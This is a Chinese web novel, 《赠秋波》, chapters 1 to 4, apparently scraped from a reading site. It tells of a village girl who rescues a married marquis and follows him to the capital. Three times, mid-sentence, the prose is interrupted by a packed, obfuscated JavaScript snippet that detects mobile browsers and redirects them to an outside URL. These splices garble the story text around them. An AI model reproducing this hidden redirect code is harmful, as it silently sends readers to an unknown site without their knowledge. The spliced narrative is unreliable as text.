《赠秋波》 1. 第 1 章 昨夜下了场雨,青翠山峦半腰氤氲着雾气,风吹山岚,白雾缥缈,配着被云层遮盖的天,颇有几分仙境韵味。 路旁不起眼的野花上缀着几滴晶莹,一阵微风拂过,露珠骨碌碌滚落,眨眼不见。 少女小心翼翼踏在湿润小路上,双臂掩在胸前,走得慢而稳。 进了村子,迎面撞上几个抱着木盆的婶子,其中一个眼睛一斜,眼尖地瞥见她怀里露出的一角油纸,语气不明道:“哟,云丫头这是天还没亮就去镇上给你那相好的买好东西了?” 云镜纱眼睛一红,又气又羞,“高婶,我和许公子清清白白的,你莫要胡说。” “清白?” 高婶眉头高高挑起,讽刺的嗓音格外尖利,“谁家清白姑娘平白无故收留一个大男人,孤男寡女同住两月,谁知道你们是白的还是黑的。” 云镜纱眼更红了,眼泪在眶里打转,唇瓣抿到发白。 她生得极好,五官无一处不美,细长柳眉下杏眼盈波,好似江山寒烟,眸光一转便令人心疼生醉。 见她如此情态,其他几个婶子不免心软,瞪了高婶一眼,“少说几句。” 有些富态,脸上带笑的婶子对她道:“赶了一路当是累了,快些回去歇着吧,婶子们还得去洗衣裳。” 云镜纱点头,小声道:“昨夜有雨,河水许是有些急,赵婶和婶子们当心些。” 胖婶子笑着应下,“好。” 她打头往外走,另外几个婶子连忙拉扯着高婶跟上。 云镜纱未动,隔了会儿,听见身后的交谈声。 “不就是没看上你们家拴柱?你都这么大岁数了,和个丫头置什么气?” 高婶气急败坏,“我家拴柱还不好?生得齐整,高高大大的,力气又大,村子里哪个见了不说好?偏她眼皮子浅看不上,嘴里说着要等她哥回来做主,转头就从河里捡了个男人回来,当心当肺地养着,这不是打栓柱的脸吗?” 想起自家儿子这些日子那丢了魂的样儿,高婶一张黄脸都气红了,口不择言道:“谁知道她哥还能不能回来?这么久都没给她捎个信,指不定是攀上高门大户的千金小姐,要丢了她这个拖油瓶!” “行了!” 赵婶低喝一声,“景舟那孩子就云丫头一个妹妹,丢了谁也不会丢了她!他上京赶考前挨家挨户地求人照看他妹子,你收了人的东西,就是这么照看云丫头的?” 高婶不服气,“景舟要是知道他妹子不知检点……” 谈话声越来越小,云镜纱半垂着眼,根根分明的纤长眼睫轻轻一颤。目光抬起时,琥珀般清透的眼里早已没了泪意。 她抱着怀中尚有余热的糕点,缓步往家里走去。 云家地处小河村最里,靠着大山,地势略高。 位置虽偏僻,但站在院里随意一望,整个村子便尽收眼底。 村民们无事并不会往此处来,因此也格外清静。 云镜纱推开院门,三间宽敞土胚房映入眼帘。一间是用来待客的堂屋,另外两间则是兄妹俩的卧房。 右边厢房旁是灶房,灶房过去是菜园子,边上用栅栏围住,里头养了几只鸡,似是听见动静,“咯咯咯”地叫唤起来。 屋里顿时落下一连串的脚步声,温和嗓音似玉石滚落。 “云姑娘回来了。” 云镜纱抬眸。 房门口站着一人,褐色布衣穿在他身上,不似村里人那般灰暗,反而衬得那张白皙面容越发俊朗,仿佛被蒙了尘依旧散发着莹润光泽的明珠。 他身量颇高,长发半束起,一手撑在门框上,眼睛看着她,嘴角勾起浅浅笑意。 “许大哥。” 云镜纱双颊微红,快步上前,将怀里的包裹递过去。 她不敢看他那双含着笑的眼睛,半阖着眼,轻柔嗓音勾着羞赧。 “我用卖绣品的钱给你买了糕点。可惜……” 云镜纱愧疚道:“路上耽搁太久,已经凉了。” 许玉淮剥开油纸。 好几块白米糕交叠在一起,有的边角已经碎了,着实不太好看。 “许大哥?” 见许玉淮许久不动,少女疑惑的嗓音响起。 瞧见糕点的模样,她抿了抿唇,伸手便要去夺,自责道:“都怪我笨手笨脚的,还是别吃了,下次……” 她话未说话,许玉淮便捏了块糕点,温声道:“没坏,无碍的。” 他看向云镜纱的手。 少女露在袖子外的手秀气细长,白皙细腻,好看得紧,只是指尖泛着红,隐隐有红点,瞧着很是碍眼。 许玉淮神色惭愧,“云姑娘伤了手换来的糕点,我怎么也不能辜负这片心意。” 说着将糕点送入口中。 刚咬一口,他便顿住了。 “不碍事的。” 云镜纱面颊微红,双手飞快缩进袖中,期待问:“好吃吗?” 许玉淮眉眼微不可见地有些僵硬。 又干又噎,甜腻得不行,便是端到他府中下人面前,也只有遭嫌弃的份。 对上云镜纱晶亮明澈的眼,许玉淮艰难嚼了两下,喉结一滚囫囵咽下,言不由衷道:“……好吃。” 云镜纱眉眼舒展,抿唇忍不住笑,“那许大哥都吃了吧。” 许玉淮:“……” 他问:“云姑娘不吃?” 云镜纱摇头,“我早上已经吃过了,剩下的都是留给许大哥的。” 许玉淮无奈至极,只能捏着糕点,艰难地送入口中。 勉强将糕点吃完,他忙进堂屋给自己倒了碗水喝。 跟在他身后的云镜纱抬头望了眼天,“哎呀”一声,“都这么晚了,我这就去做饭。” “姑娘等等。” 喝完水的许玉淮转身叫住云镜纱。 眼前的少女生得极美,一身荆钗布裙不掩国色,静静站在那儿便是一幅画。 她微微歪着头,并未出声,灵动莹润的杏眸疑惑地看向他。 许玉淮心中一动,“云姑娘,我的伤已痊愈,是时候该告辞了。” 宛如一场说下就下的春雨,姑娘的眸光暗淡下去,垂眼盯着脚下不说话。 “许大哥失踪这么久,家中人一定心急难耐,当然要回去。” 语气里是掩饰不住的失落。 云镜纱故作自然地对许玉淮笑,“刚好今天得了些银钱,正好许大哥要归家,先拿去使吧。” 她并未问他家在何处,而是体贴地给予他回家的盘缠。 许玉淮心中难免触动。 四月前,他奉命南下赈灾,原本一切顺利,谁知回京途中出了意外,被人追杀。 随从尽数被斩杀,他手臂中了两刀,不慎落水,被云镜纱所救。 眼前掠过一张脸。 杂乱发丝遮挡住男人本就血肉模糊的脸庞,血珠从粗糙手指上滴落,他忍痛交出手里的东西,双眼爆发出别样的光彩,用尽全身力气道:“……大、大人,请您一定,一定将东西呈上……” 在许玉淮承诺后,他终于含恨闭眼。 指尖动了动,在抚上胸膛前硬生生忍住,许玉淮凝视云镜纱美好脸庞。 他承认,第一次见面时,他的心思委实不怎么光彩。 初时云镜纱将他从河中救起,带回家中养伤,了解到她自幼父母双亡,与兄长相依为命,又见她性子纯善,他便故意使了些计谋,谎称自己南下探亲,回京途中遭遇匪贼,意外落水。 他很清楚自己的皮囊对一般的姑娘,尤其是被家人保护得很好,没怎么见过外男的乡下姑娘的吸引力。 果不其然,云镜纱不仅信了他,这两个月里,还将兄长留下的银子尽数用来给他看大夫抓药,顿顿鸡汤鱼汤地养着他。 哪怕银子用完了,她也只是日夜刺绣,用绣品去换银钱,从未在他面前诉过一声苦。 想到此,许玉淮罕见地生出些许愧疚。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279127|166753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 哪怕不多,却也极为难得。 “这段时日,我已经欠了姑娘不少,怎么能继续用你的银子?” “没关系。” 云镜纱摇头,“是我自愿的。况且……” 她看了许玉淮一眼,“许大哥身上没有银子,如何能回家?” 许玉淮噎了噎。 这话也对,他落水后,除了那样东西被他护得死死的,其余的大多都丢了。 现下……他身上连一个铜板都没有。 如此一想,他便应下了,“多谢姑娘了。” 云镜纱唇角微扬,“只要能帮到许大哥,我就心满意足了。” 少女白皙双颊染上红霞,水润杏眸宛如蓄了星光,越发清丽动人。 许玉淮眸光微动,“不知姑娘今后作何打算?” 云镜纱道:“我要等哥哥回来。” 据许玉淮了解,云镜纱的兄长云景舟是名举人,去岁上京赶考,多日未有消息传来。 听闻云景舟很是疼爱这个唯一的妹妹,此时春闱已过,他却仍旧毫无音讯,很有可能是出了意外。 不知怎么的,许玉淮忽然道:“姑娘可愿随我上京?” 云镜纱愣住,“公子在说什么?” 话既已出口,许玉淮便道:“这些日子,姑娘对兄长的担忧我都看在眼里,正好我家就在京城,若是姑娘愿意,可与我一同上京寻亲。” 云镜纱杏眼骤然一亮,随后暗淡几分。 “京城那样的地方,吃穿用度应当都不便宜吧?我手头并不宽裕,若是连容身之所都没有,如何能找哥哥?” 这话忐忑得像极了一个没见过世面的乡下姑娘,许玉淮听了有些好笑,但察觉到云镜纱的心动,他道:“姑娘不必忧虑,到时你住我家中即可。” “那怎么能行?” 云镜纱瞪圆了眼,脸上发红,连连摆手,“我怎么能住许大哥家?” “如何不能?若非姑娘救我一命,恐怕这世上早已没了许玉淮,无论姑娘想做什么都不为过,更别说只是住些时日罢了。” 男人神情温和,嘴角含笑,目光轻转间,似有脉脉温情浮现。 云镜纱犹豫,“你的家人可会同意?” 许玉淮一顿。 若是知道他带个姑娘回去,舒含昭肯定是要闹的。 不过云镜纱毕竟是他的救命恩人,更别说他此时还有些愧意,若是她兄长当真出了意外,与其留她一人在村里,不如带回去好生安顿。 哪怕是随便给她找个勋贵子弟做妾,也比留在这穷乡僻壤当个村妇好。 昭昭若是闹,他哄哄就是了。 许玉淮笃定,“自然。我娘一向以我为重,自是不会阻拦我报恩。” 听他这么一说,云镜纱稍稍放心,只是仍是有些踯躅,“可是,这也太麻烦了。” 许玉淮蓦地一笑,“姑娘还不知道我的身份吧?” “我出身常远侯府,家父去后承了爵位,姑娘忧虑的一切,在我眼里都不是问题。随我回去,或许姑娘还能早些寻到兄长。” 这一瞬间,男人身上的气势好似不一样了,宛如擦去尘埃的美玉,通身的气派。 “如此,姑娘可放心了?” …… 夜色笼罩着整个村子。 皎皎月光透过竹枝缝隙洒在窗上。 木窗大开,寒凉夜风涌入,吹起案上纸张。 少女搁笔,从一旁的匣子中取出瓷瓶,勾了些许白色乳膏,慢条斯理地均匀抹在手上。 那双手极美,指如削葱根,抹上乳膏后越发显得莹润富有光泽。 欣赏一眼自己的手,她折起信封,缓步来到窗前。 窗上不知何时飞来一只灰色鸽子,眼睛直溜溜地盯着少女。 将信纸绑在鸽子脚上,少女瞧了眼对面已陷入黑暗的屋子,唇角轻勾,摸了摸鸽子脑袋。 鸽子振起翅膀,转瞬飞入夜中。 2. 第 2 章(修) 既然决定好了要上京,云镜纱便将家里收拾了一通。 能放的放着,放不了的送人。 她跑去村长家,想把几只鸡卖了。 村长媳妇赵婶听了疑惑不已,“好端端的,卖鸡作甚?” 云镜纱扬着脸笑,“赵婶,我要和许大哥一起去京城找我哥哥。” “去京城?” 赵婶震惊。 云镜纱小弧度点头,“我哥走了之后就没信回来,我很担心他。” “那也不能和那位公子一起去啊。” 赵婶顿时忧心,“这孤男寡女的,传出去不好听。” “我相信许大哥,他是个好人。”云镜纱坚定道:“而且……” 云镜纱咬了咬唇,“他说,他是京城里的侯爷,那等尊贵的人,什么没见过,能图我什么?” 赵婶欲言又止。 除了人,能图什么? 她这辈子就没见过云丫头这么标志的姑娘,自从这丫头及笄后,方圆百里有名有姓的人家听说云举子有个如花似玉的妹妹,都存着上门提亲的心思。 可景舟一心想着等自己高中,给妹妹寻门更好的亲事,都给拒了,才让云丫头留到现在。 谁能想到,景舟前脚上京赶考,云丫头后脚就往家里捡了个男人。 当着黄花大闺女的面,赵婶不好多说什么。况且这丫头的心思谁都能看出来,若是说那男人对她别有用心,怕是正和她意。 赵婶叹了口气,“你既决定好了,那就去吧。只是出门在外,万事小心。” 云镜纱眸光发亮,“谢谢赵婶。” 赵婶拿了钱,和云镜纱一道去家里抓鸡,等她回来,好些个人围了上来,杂七杂八地问。 “村长家的,云丫头真的要和那姓许的私奔?” “听说那姓许的是京城里的大官,一年好几百两银子呢,云丫头跟着他可真是享福了。” 说话的婶子话音里难掩羡慕。 “他说他是大官你们就信?”另一个婶子不屑开口,“万一是骗云丫头的怎么办?” “云丫头救下许公子时是我家铁蛋帮忙把人抬回去的,听说他身上只放了本书,但那身衣裳哪怕被水打湿,也是又软又滑的,看着就值钱。” 叽叽喳喳的声音吵得赵婶头疼,她来不及回答,只问:“这事你们怎么知道的?” 怎么一转眼,整个村子都传遍了? 人群里有人大声道:“你家妞妞说她和大丫一起玩时偷听到的。” 赵婶气得脸红。 大丫是高婶子的小闺女,平日里最爱偷懒和听闲话,她七令五申不准妞妞和她玩,谁知道当面答应得好好的,背地里和她玩阳奉阴违呢! 赵婶当下取了笤帚,追着妞妞跑了大半个村子。 …… 在赵婶这儿得不到回答,几个婶子直接去了云镜纱家,得到了回复,纷纷满意而归。 可惜,没见到那位许公子。 要是见了侯爷一面,够她们吹好几年了。 送走了婶子们,云镜纱松了口气,继续收拾家里。 她拔出菜地里的菜,准备明个儿送给几位关系比较好的婶子。 正蹲着,眼前落下一片衣角。 云镜纱紧张站起,擦了擦手上的泥,小声道:“侯、侯爷。” 许玉淮被她这郑重其事的模样逗笑了,无奈道:“和以前一样,唤我许大哥就好。” 少女似是被吓了一跳,连连摇头,“那怎么能行?” “有什么不行?”许玉淮好笑,“难不成我成了侯爷,就不姓许了?” 云镜纱见他神色一如寻常,嘴角扬了扬,嗓音温软,“那、那我还叫你许大哥。” 许玉淮满意点头,“这才对。” 他蹲下身,与云镜纱一道把菜放进篮子里。 “上京的费用不低,我明日去趟县里,看看能有什么来钱快的活计,攒些银子。” 云镜纱蹲回去,碎发贴在脸侧,静谧美好,“不用了,我有银子。” 许玉淮惊讶,“你哪儿来的钱?” 云镜纱侧眸看他一眼,飞快低下头,小声道:“哥哥中举后,自己留了上京赶考的银子,给我留了一些,剩下的拿去给我打了个银锁,说是给我留的嫁妆。” “我拿去当了,应该能换不少银钱。” 许玉淮愣了片刻。 他与云镜纱共住两月,自是清楚家里的情况。 令他没想到是,云景舟竟然还给云镜纱打了个银锁。 “可那是你的嫁妆。” 许玉淮抿唇,心中滋味难言。 “没关系,嫁妆而已,还能攒出来。” 云镜纱对他笑,“能解当下困境,也算是它物有所值了。” 少女笑容清甜,目光纯澈。 许玉淮摸了下胸膛,指尖微动,郑重其事,“云姑娘之恩,我定会报答。” 云镜纱偏头,面色微赧,樱唇动了动,“我、我不需要许大哥报答。” 许玉淮笑了笑,没说话。 …… 将家里归整完毕,许玉淮定了明日离开。 云镜纱把家里的东西送出去。 这年头村子里的农户大多数都不富裕,得了东西纷纷道谢与她道别。 他们并不觉得云镜纱手里无银两。 这兄妹二人十年前来村子里落户时,虽然父母双亡,却有个有钱的外祖父,时不时接二人去住几月。 就算那外祖父三年前去世了,可岂有不给外孙留后路之理? 且云景舟是举人,手里断不会没钱。 云镜纱自然不会多说,笑着与众位叔叔婶子告别。 第二日,云镜纱背着包袱跟着许玉淮出村。 村口处聚集了不少村民。 有的祝她一路顺风,有的不舍地拉着她的手,还有的看着许玉淮明显区别于寻常人的气度,悄悄说了几句酸话,道她要飞上枝头当凤凰。 无论他们说什么,云镜纱都是笑着的。 小河村隶属光州,去京城光是坐车就得十天。 到了县城,云镜纱先是去当了银锁,随后去租车。 可惜县城的车行太小,京城又远,马匹车辆无法出租,云镜纱咬咬牙,买下一辆简陋的青布马车。 这样一来,手里的银子就去了三分之一。 害怕银钱不够,云镜纱犹豫该不该请个车夫。 许玉淮见状体贴道:“我来驾车,云姑娘先上去吧。” 云镜纱惊讶,“许大哥会驾车?” 许玉淮点头,“上去吧,交给我就好。” 云镜纱犹豫地瞧了他一会儿,“辛苦许大哥。” 她提起裙子,轻盈地钻进马车。 许玉淮静立片刻。 枣红色的马儿甩着马尾,鼻间喷出温热气流,似在无声催促。 自从……许久无人敢让他驾马了。 许玉淮意味不明地笑了下,翻身上了车辕,拉住缰绳斥一声,“驾。” 马儿仰头嘶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279128|166753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸣,四只蹄子翻动,缓缓驶出县城。 路途遥远,二人以兄妹相称,云镜纱只好选一般的客栈,要两间房。 舟车劳顿,饭菜一般,短短两日,许玉淮的脸色便变差了。 云镜纱的手艺也算不上多好,但炖得一手好汤,且变着法子地炖,因此他这两月吃得虽不能和侯府比,但其实还算不错。 相比之下,这客栈的饭食简直难以下咽。 又过了两日,许玉淮有些受不了,路过府城时,他恰巧瞧见侯府的铺子,在客栈休整片刻,与云镜纱说了声,独自出去了。 家中产业一直是祖母在打理,等他成了亲,便将一部分交给了舒含昭,因此许玉淮对侯府在京城之外的产业并不清楚。好不容易看见一家知道的,自然不会错过。 等云镜纱休息好下楼,寻找许玉淮的身影,一眼就见站在窗边的人。 男人穿着月白色的水波纹绣松鹤直领宽袖长衫,头戴玉冠,脚踩皂靴,如圭如璋,仪态轩昂,是她从未见过的模样。 “云姑娘。” 听见动静,许玉淮回首笑道:“我联系上了家里人。” 云镜纱惊喜,“那太好了。” 许玉淮:“我给你安排了个丫鬟伺候你的起居。” 他身后走出一名姑娘,十五六岁的模样,面容清秀,很是讨喜,“奴婢芳音,见过云姑娘。” 云镜纱微愣,想说什么,瞥见许玉淮的神色,只道:“好,谢谢许大哥。” 有侯府的人在,二人回京的路异常顺利且舒适。 青布马车换成了华贵宽敞的,一路住的都是最好的客栈,饮食的精细程度也翻了好几十倍。 四日后,一行人终于抵达了京城。 云镜纱轻轻撩开绣着山峦绿水的细绸车帘,注视着前方巍然雄大的城门。 春光和煦,暖黄色的光映照在她眉眼间,带起粼粼波光。 城门之上站着守门的兵卒,长枪在日光照耀下闪着凛冽寒光。 威严又庄重。 京城到了。 云镜纱唇角微弯。 有许玉淮在,城门口的兵卒很快放行,马车慢慢悠悠进了城。 又驶了一个多时辰,马车这才停了。 许玉淮的声音自外头响起,“云姑娘,到了。” 云镜纱应声。 面前的车门被人推开,她抬眼,正正看见许玉淮。 他背对着她负手而立,仰头看牌匾上的“常远侯府”四个字。 芳音在车下朝云镜纱伸手。 少女垂首,纤纤玉指拢在袖中,隔着衣袖虚虚搭在她腕上,动作轻盈下了马车。 许玉淮回首,温声道:“云姑娘,这便是我家。” 云镜纱应着点头。 少女面上两片红霞,越发衬得她冰肌莹彻,清艳脱俗。 门房兴奋,“侯爷,您可回来了。” 许玉淮一怔,抵唇轻咳一声,随意颔首,而后道:“云姑娘,我们进去……” 门内忽然有响声,像是有许多人在追赶,这动静打断了许玉淮未尽之语。 下一瞬,一女子闯入视野。 她穿着落霞红绣牡丹长裙,春日风冷,在外罩了一件金色披风,头簪镶红宝石鸾凤金钗,流苏垂坠而下,烈烈如日光炫目璀璨,灼灼似火焰明亮艳丽。 见了许玉淮,女子眼里泛着泪光,一头扑进他怀里,“夫君!” 泪珠滚滚,却是喜极而涕。 “我就知道你一定没事!” 3. 第 3 章 舒含昭紧紧抱着许玉淮,生怕眼前器宇轩昂的男子只是一场虚幻的泡影。 两个月前,许玉淮遇难落水失踪的消息传回京后,她险些哭瞎了眼。可她不信他会舍得丢下她,将手下人全部派出去,活要见人,死要见尸。 一日、两日……一月、两月,许玉淮始终毫无音讯。 爹娘都说他已死,劝她早些放下,正好膝下没个一儿半女,再过两年就能替她寻个如意郎君。 舒含昭死活不愿。 她既嫁给了许玉淮,这辈子就只会是他的妻子,绝不会另嫁他人。 爹娘又气又心疼,却也犟不过她,只好依了舒含昭。 幸好老天保佑,她等到了她的夫君平安归来。 舒含昭抱着许玉淮哭得上气不接下气,泪水将他胸前衣裳打湿。 靖国公府的嫡长女向来是骄傲矜贵的,别说外人,就连许玉淮都没见过舒含昭哭成这般模样,心疼地将她圈住,抬起那张梨花带雨的脸,指腹擦去她面上泪珠,柔声哄道:“好了,我这不是平安回来了?不哭了啊,当心眼睛疼。” 舒含昭泣不成声,一下下捶他胸口,“你吓死我了,真的吓死我了。” 女子眉头紧蹙,一双高傲凤眼一错不错地锁着他,眼里的泪水止不住往外掉。 许玉淮知道她这次定是吓坏了,揽着她低低地哄了好一会儿,总算将人哄好了。 见舒含昭收了泪,许玉淮骤然想起被他遗忘的云镜纱,急忙偏过头。 几步之外,少女僵硬地立在原地,杏眼呆滞地望着对面旁若无人相拥的两人。 什么身份,能让一对男女如此亲密? 况且,那姑娘还唤许玉淮夫君。 云镜纱飞快垂下眼不说话。 短暂的对视,足以让许玉淮看清少女眼里闪烁的泪光。 看着云镜纱低垂的颤抖眼睫,他心里忽然一窒,有些不好受。 舒含昭已经住了泪,顺着许玉淮的视线看去。 年轻貌美的姑娘亭亭玉立,即便一身不起眼的布裙,依旧掩不住好颜色。肌肤胜雪,袅娜娉婷,美得跟枝头玉兰似的。 看清云镜纱的长相,舒含昭搭在许玉淮身上的手不觉用力,将掌中布料揉成一团。 “夫君。” 舒含昭问:“这姑娘谁啊。 语气虽然亲昵,却藏着一丝不易察觉的冷意。 侯府下人禀告许玉淮即将回京后,可没人告诉她,他还带了这么个如花似玉的姑娘。 若是他的什么红颜知己…… 舒含昭冷冷睨着云镜纱,忌惮中夹杂着轻蔑,这么轻描淡写的一眼,尽显高傲恣意。 许玉淮:“这位姑娘姓云,名唤镜纱,是我的救命恩人。” 云镜纱。 光是听见这个名字,舒含昭便拧起眉。 镜与靖同音,纱又与杀同音,镜纱,靖杀,这么一个名字,当真是晦气。 舒含昭向来不会掩饰自己的情绪,面无表情地斜了云镜纱一眼,语气不明道:“是吗?” “不错。” 许玉淮牵住舒含昭的手,“我落水之后幸得云姑娘所救,又得她精心照顾两月,这才能活着回来见你。” “昭昭,云姑娘双亲皆亡,孤苦无依,随我上京是为了寻找失踪多日的兄长,她是我的救命恩人,我们需好生安顿她才是。” 舒含昭听见那句精心照顾两月,看着云镜纱的目光越发冷冽。 两个月。 这么说,夫君消失的这段时日,都是和她在一起? 孤男寡女,共处一室整整两个月。 舒含昭笑了,笑意不达眼底,慢声应道:“既是夫君的救命恩人,我这做妻子的,自然该好生照料。” 从舒含昭出现起,云镜纱便一直很安静。 虽说她性子本就娴静,却从未像现在这般仿佛想将自己藏起来。 红润小脸失了血色,单薄的身子微不可察轻颤着,却极力掩饰,不肯显露一丝脆弱。 没有许玉淮想象中的伤心绝望,也没有愤恨质问,反而极力忍着不让眼里的泪落下,倔强地让人心疼。 她迎着二人的目光缓缓抬头,“多谢许公子、许夫人。” “夫人”二字落地极轻。 许玉淮眉头蹙了下,不愿再看她那双含泪琉璃眼,侧过脸去。 既然看了会生愧,那就别看了。 进了这座府邸,他就是常远侯府的侯爷,舒含昭的夫君。 忽略心中升腾的微弱异样,许玉淮道:“进府吧。” …… 常远侯府极大,一路走来,亭台楼阁,奇花异草数不胜数。 春三月,府中草木葳蕤,随处可见修剪规整的雪松。走过长廊,水声哗啦,嶙峋假山映入眼帘。怪石嶙峋,很是奇特。 微凉空气隐隐夹杂着花香,云镜纱朝某个方向望了眼,隐约可见如云粉团。 她收回眼,低眉顺眼地跟在许玉淮夫妇身后,进了承安堂。 承安堂是常远侯老夫人的住处,自许玉淮失踪后,黄老夫人日日以泪洗面,求神拜佛,祈求上苍护佑孙子平安归来。 得知许玉淮今日归家,黄老夫人一大早便等着了,每过半个时辰便要差人去问问侯爷可到了。 一行人刚跨进院里,一名身着水碧色短袄,月白色长裙,腰缠红带,面容清秀的姑娘从正房里出来。 见了打头的许玉淮,那姑娘面露惊喜,“侯爷!老夫人,侯爷回来了!” 屋里霎时响起瓷器摔碎的声音,一群姑娘的惊呼声。 阵阵脚步声后,一名年近六十,身着丁香色如意纹细褶裙,梳着高鬓,斜插翡翠仙鹤对簪的老夫人出现在门前。 那老夫人神色憔悴,鼻侧皱纹深刻,竟有几分苍老之意。 视线触及许玉淮时,面上愁绪去了三分,眼里涌出泪来,疾步向他而去。 “淮儿!” 黄老夫人一手抚着许玉淮脸庞,泪如雨下,“没事就好,没事就好,你吓坏祖母了。” “祖母。” 许玉淮伏地而跪,“让祖母为我忧心,是孙儿不孝。” “好了,好不容易回来,快别说这些,赶紧起来。” 黄老夫人擦掉眼泪,口中嗔怪。 舒含昭扶起许玉淮,笑道:“祖母,夫君一路舟车劳顿,定是乏了。孙媳先带他回去梳洗,用些吃食,等他收拾妥当了,再来给祖母请安。” 黄老夫人忙道:“好好好,快去快去。” 眼珠一转,瞧见落在后头的陌生人影,疑声,“这位姑娘是?” 许玉淮转向舒含昭。 她偏头不语,只当自己没听见。 许玉淮无法,只得道:“祖母,这位云姑娘是我的救命恩人。多亏了她,我才能平安归府。” 黄老夫人:“哦?你上前来。” 云镜纱小步走近,垂首躬身见礼,“云镜纱见过老夫人。” 黄老夫人眯着眼,仔细打量眼前的少女。 十七八岁的模样,生得不比舒含昭差,光看那张脸甚至还胜过几分,娇娇怯怯的,看着就惹人心疼。 黄老夫人欢喜道:“瞧这姑娘,生得可真好啊。你是如何救下我家淮儿?” 云镜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15279129|166753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纱便将她在河边浣衣,正遇见水中的许玉淮,将他带回家照顾一事告知。 听得许玉淮寒冬腊月泡在冰冷河水里,黄老夫人心疼不已,拉着许玉淮上上下下端详,见他无恙,这才放下心来,握住云镜纱的手,叹道:“若非姑娘心善,我孙儿只怕早冻死在河中了。” 掌中柔荑跟剥了壳的鸡蛋似的,又嫩又滑,完全不似农家女。 黄老夫人越发满意,褪下腕上成色极好的翡翠镯子,交到云镜纱手中。 云镜纱一惊,连连拒绝,“老夫人,这太贵重了,我不能收。” “不值钱的小玩意罢了,拿去玩玩。” 云镜纱去看许玉淮。 他并未对上她的视线,含笑望着眼前一幕,不置一词。 云镜纱长睫轻颤,轻声道:“多谢老夫人相赠。” 黄老夫人笑,拍拍云镜纱的手背,“好孩子,你既救了淮儿的命,那便是这阖府上下的救命恩人,往后啊,就当这是自己家,安心住着,无事便来找我这老婆子说说话,咱们好好亲香亲香。” “祖母。”舒含昭含笑道:“云姑娘上京是来寻兄长的,怕是在咱们府上住不了多长时日。” 黄老夫人一怔,“是吗?云姑娘还有兄长?” “是。”云镜纱眼眶微红,“怕是要辜负老夫人好意了,等寻到兄长,我就离开。” “那也无碍。” 黄老夫人笑,“你这丫头着实讨人喜欢,在府上这段时日,尽管寻我便是。” 云镜纱轻轻弯唇,湿润杏眸含着孺慕,温软地看着黄老夫人,“多谢老夫人。” 黄老夫人满意点头,“昭昭啊,你让人去给云丫头收拾个院子出来。我看桃蕊院就不错,现下桃花开得正好,云丫头住着也舒坦。” 侯府有片桃林,每逢春日,必是花如云霞,香气满园。桃蕊院因挨着桃林因此得名。 那院子清雅风致,景色宜人,与许玉淮的书房就隔了一个桃林。 让云镜纱住在桃蕊院,也不知是巧合,还是黄老夫人故意为之。 当着许玉淮的面,舒含昭不可能不给祖母面子,僵着脸勉强应道:“孙媳知道了。” 黄老夫人笑着点头,“好了,都去歇着吧。” 她拉紧云镜纱的手,“云丫头先留在我这儿吧,等院子收拾好了,你再过去。” 云镜纱自是应下。 “劳累祖母照顾云姑娘了。” 许玉淮愧道,关心祖母两句,携了舒含昭离开。 走出院门许久,他不知何故回头。 瞳孔中影影绰绰显出一道纤巧身影。 少女站在风里,青色衣裙如浪翻涌,满头青丝如瀑,丝丝缕缕散在空中。 他看不清她的神情,却仿佛看见一双含着雾似的,装了怯怯哀婉的泪眼。 无声地凝视他的背影。 “夫君,怎么了?” 舒含昭精致明媚的面容闯入眼中。 许玉淮陡然回神,牵住她的手,温声道:“无事,回吧。” 舒含昭甩开他的手,冷着脸大步向前。 许玉淮知她心里有气,追上去微微俯身,在她耳畔低语,轻柔舒缓的嗓音藏了无限情思。 “昭昭,我好想你。” 只一句,便令舒含昭消了气。 双手圈住许玉淮的腰,侧脸蹭他胸膛,委屈道:“你吓死我了。” 许玉淮抱着她,低低安抚。 亲昵的交谈声断断续续,身后下人们熟练又急切地低下头去。 侯爷和夫人恩爱如初。 老夫人的打算怕是不能成了。 4. 第 4 章 黄老夫人留云镜纱用午膳,饭后与她闲话,得知她兄长是个读书人,自己也识文断字,心中更是满意。 午歇过后,仍拉着她说话。 申时,黄老夫人身边的大丫鬟秀妍禀报,“老夫人,夫人身边的黛春妹妹来了。” 黄老夫人说得口干,招了招手。 一名小丫鬟端起茶盏,吹了吹清亮茶汤,双手奉上。 黄老夫人拿起茶盏喝了半杯,缓了喉间干涩,“让她进来吧。” 身着红裙的姑娘进门来,一旁候着的小丫鬟为她打起珠帘,姑娘畅通无阻来到内室,恭敬对黄老夫人行礼,笑道:“请老夫人安,桃蕊院已收拾妥当,夫人让奴婢带云姑娘过去。” 黄老夫人点头,对云镜纱笑道:“去吧。明日再来和我说话。” 黛春眸光一闪,唇角笑意不变。 云镜纱起身,柔顺应下,辞别黄老夫人,与芳音一道跟着黛春离开。 